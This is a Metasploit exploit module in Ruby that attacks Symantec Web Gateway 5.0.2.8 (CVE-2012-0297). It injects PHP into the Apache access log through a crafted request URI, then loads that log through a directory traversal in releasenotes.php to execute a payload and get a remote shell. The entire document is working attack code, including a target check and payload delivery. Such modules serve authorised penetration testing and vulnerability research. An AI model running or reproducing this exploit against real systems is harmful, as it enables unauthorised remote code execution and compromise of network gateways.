Symantec Web Gateway 5.0.2.8 – Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Symantec Web Gateway's HTTP service. By injecting PHP code in the access log, it is possible to load it with a directory traversal flaw, which allows remote code execution under the context of 'apache'. Please note that it may take up to several minutes to retrieve access_log, which is about the amount of time required to see a shell back. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', #Discovery 'muts', #PoC 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-0297'], ['EDB', '18932'], ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'WfsDelay' => 300, #5 minutes 'DisablePayloadHandler' => 'false', 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Symantec Web Gateway 5.0.2.8', {}], ], 'Privileged' => false, 'DisclosureDate' => "May 17 2012", 'DefaultTarget' => 0)) end def check res = send_request_raw({ 'method' => 'GET', 'uri' => '/spywall/login.php' }) if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit peer = "#{rhost}:#{rport}" php = %Q|<?php #{payload.encoded} ?>| # Inject PHP to log print_status("#{peer} - Injecting PHP to log...") res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{php}" }) select(nil, nil, nil, 1) # Use the directory traversal to load the PHP code # access_log takes a long time to retrieve print_status("#{peer} - Loading PHP code..") send_request_raw({ 'method' => 'GET', 'uri' => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log' }) print_status("#{peer} - Waiting for a session, may take some time...") select(nil, nil, nil, 1) handler end end |